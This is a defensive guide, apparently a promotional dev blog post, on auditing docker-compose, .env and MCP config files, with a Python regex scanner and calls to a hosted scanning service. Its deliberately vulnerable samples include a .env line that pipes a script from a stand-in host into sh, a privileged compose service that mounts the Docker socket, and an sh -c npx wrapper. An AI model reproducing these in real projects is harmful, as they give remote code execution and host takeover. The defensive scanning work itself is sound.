Before running docker compose up on an unfamiliar repository, engineers normally inspect Dockerfile layers and application code. Yet three adjacent workspace files regularly bypass pre-flight security review and grant immediate host access or leak secrets:
-
docker-compose.yml/compose.yaml: Privilege flags, host namespaces, and container-runtime socket mounts. -
.envmanifests: Embedded production credentials, database URIs, and shell command substitutions ($(...)or backticks) evaluated by shell loaders orsource .env. -
IDE MCP client configs (
.vscode/mcp.jsonormcp_config.json): Shell wrappers (sh -c), unpinnednpx -y @latestrunners, plaintext bearer tokens, and root filesystem mounts.
This guide pairs a zero-dependency Python stdlib scanner for Docker Compose and .env shell-evaluation vectors with stateless Streamable HTTP MCP tools at https://nandai.org/api/mcp and offline CLI verification cloned directly from the self-hosted Smart HTTP Git mirror (https://nandai.org/git/destiny.git).
1. Docker Compose Privilege Escalation and .env Execution Vectors
Consider a seemingly routine local stack definition and accompanying .env file:
# docker-compose.yml (vulnerable)
services:
worker:
image: alpine:latest
privileged: true
network_mode: host
pid: host
cap_add:
- SYS_ADMIN
volumes:
- /var/run/docker.sock:/var/run/docker.sock
# .env (vulnerable)
DATABASE_URL=postgres://admin:S3cr3tPass!@db.internal:5432/app
EXFIL_CMD=$(curl -fsSL https://example.invalid/bootstrap.sh | sh)
BACKTICK_CMD=`id`
Five distinct risk boundaries fail simultaneously:
-
privileged: true+cap_add: [SYS_ADMIN]: Drops seccomp/AppArmor isolation and exposes kernel mount/device operations. -
network_mode: host&pid: host: Removes network and process namespace boundaries between container and host. -
/var/run/docker.sockbind mount: Lets any process inside the container call the host Docker daemon to spawn a root container mounting/. -
Mutable
:latestimage tag: Prevents digest-verified reproducibility. -
Cleartext DB URIs and
$(...)/ backtick substitution in.env: Exposes live credentials in version control and triggers arbitrary command execution whenever a script loads.envviasource,eval, orenvsubst/shell wrappers.
2. Zero-Dependency Python Stdlib Scanner for Compose + .env
The following standard-library module (audit_compose_and_env.py) runs with zero third-party YAML or regex dependencies and catches privilege escapes, mutable tags, and .env command substitutions deterministically:
#!/usr/bin/env python3
"""Zero-dependency Docker Compose privilege and .env command-substitution auditor."""
import json
import re
import sys
COMPOSE_RULES = [
("COMPOSE_PRIVILEGED", "CRITICAL", r"(?im)^\s*privileged\s*:\s*true\b", "privileged: true disables container isolation"),
("COMPOSE_HOST_NAMESPACE", "CRITICAL", r"(?im)^\s*(?:network_mode|pid|ipc)\s*:\s*[\"']?host[\"']?\b", "host network/pid/ipc namespace shared"),
("COMPOSE_DANGEROUS_CAP", "CRITICAL", r"(?is)cap_add\s*:[\s\S]*?\b(SYS_ADMIN|ALL|SYS_PTRACE|NET_ADMIN)\b", "dangerous Linux capability in cap_add"),
("COMPOSE_DOCKER_SOCK", "CRITICAL", r"(?i)(/var/run/docker\.sock|/run/containerd/containerd\.sock)", "container runtime socket bind-mounted"),
("COMPOSE_MUTABLE_IMAGE", "HIGH", r"(?im)^\s*image\s*:\s*\S+:latest\b", "mutable :latest image tag"),
]
def audit_compose_and_env(compose_text: str, env_text: str) -> dict:
findings = []
for rule_id, severity, pattern, detail in COMPOSE_RULES:
if re.search(pattern, compose_text):
findings.append({"id": rule_id, "severity": severity, "detail": detail})
for line_no, raw_line in enumerate(env_text.splitlines(), 1):
line = raw_line.strip()
if not line or line.startswith("#"):
continue
if re.search(r"\$\([^)]+\)|`[^`]+`", line):
findings.append({
"id": "DOTENV_CMD_SUBSTITUTION",
"severity": "CRITICAL",
"detail": f"line {line_no}: command substitution in .env",
})
return {"clean": len(findings) == 0, "total_findings": len(findings), "findings": findings}
When run against the vulnerable snippets above, it deterministically outputs all 7 findings (COMPOSE_PRIVILEGED, COMPOSE_HOST_NAMESPACE, COMPOSE_DANGEROUS_CAP, COMPOSE_DOCKER_SOCK, COMPOSE_MUTABLE_IMAGE, plus 2 DOTENV_CMD_SUBSTITUTION hits).
3. Secret Redaction and MCP Config Auditing via https://nandai.org/api/mcp
Pair the structural Compose/command-substitution checks above with Destiny's stateless OpenAPI 3.1 REST / Streamable HTTP MCP endpoint (https://nandai.org/api/mcp), which executes in-memory with bytes_uploaded: 0 retention.
A. .env Secret & Private URI Screening (scan_secrets_and_dotenv_hygiene)
curl -fsS -X POST "https://nandai.org/api/mcp?tool=scan_secrets_and_dotenv_hygiene" \
-H "Content-Type: application/json" \
-d '{
"text_or_path": "DATABASE_URL=postgres://admin:S3cr3tPass!@db.internal:5432/app\nSTRIPE_KEY=sk_live_TESTONLY00000000000000000000\n"
}'
Observed output (score: 40, grade: "F"):
{
"score": 40,
"grade": "F",
"clean": false,
"findings": [
{
"id": "PRIVATE_DB_URI_CREDENTIALS",
"severity": "HIGH",
"penalty": 25,
"redacted_preview": "post***ss!@"
},
{
"id": "STRIPE_LIVE_KEY",
"severity": "CRITICAL",
"penalty": 35,
"redacted_preview": "sk_l***0000"
}
],
"bytes_uploaded": 0
}
B. IDE MCP Config Supply-Chain Audit (audit_mcp_config_security)
Check .vscode/mcp.json or desktop MCP JSON configurations for sh -c command injection wrappers, unpinned npx -y @latest runners, hardcoded env tokens, plaintext http:// endpoints, and root filesystem access:
curl -fsS -X POST "https://nandai.org/api/mcp?tool=audit_mcp_config_security" \
-H "Content-Type: application/json" \
-d '{
"config_path_or_json": "{\"mcpServers\":{\"unsafe\":{\"command\":\"sh\",\"args\":[\"-c\",\"npx -y @scope/tool@latest --root /\"]},\"remote\":{\"url\":\"http://unencrypted.example.invalid/mcp\"}}}"
}'
Measured response flags CMD_INJECTION_SHELL_WRAPPER (CRITICAL), UNPINNED_NPX_AUTO_INSTALL (HIGH), mutable @latest package drift, and insecure transport (security_grade: "F", bytes_uploaded: 0).
4. Cloning and Running Everything Offline via Self-Hosted Smart Git
Every verification tool, pre-commit hook, and shell CLI wrapper ships under MIT license at https://nandai.org/git/destiny.git over standard Smart HTTP git-upload-pack (145 tracked files, 147 Git objects, tag v2.0.0):
git clone --depth 1 https://nandai.org/git/destiny.git
cd destiny
# Audit an inline or file-backed .env locally with zero network egress
./cli/destiny-verify.sh secrets "PUBLIC_MCP_URL=https://nandai.org/api/mcp" --json
# Audit the repository's own .vscode/mcp.json locally
./cli/destiny-verify.sh mcp-audit .vscode/mcp.json --json
Verified local output on .vscode/mcp.json:
{
"ok": true,
"clean": true,
"servers_audited": 1,
"risk_score": 0,
"security_grade": "A+",
"risk_level": "LOW",
"bytes_uploaded": 0
}
5. Sovereign Verification & Provenance Links
- Self-Hosted Smart HTTP Git Repository: https://nandai.org/git/destiny.git
- Open Source MIT Governance & SPDX Portal: https://nandai.org/opensource
-
Live
104-Tool Streamable HTTP MCP Endpoint: https://nandai.org/api/mcp - Zero-Upload Browser Verification Instruments: https://nandai.org/tools
- Interactive Hugging Face Workspace: https://huggingface.co/spaces/nandai-org/Destiny-Apple-Silicon-Workspace
- CERN Zenodo Benchmark & Verification DOI: https://doi.org/10.5281/zenodo.24642737
Top comments (0)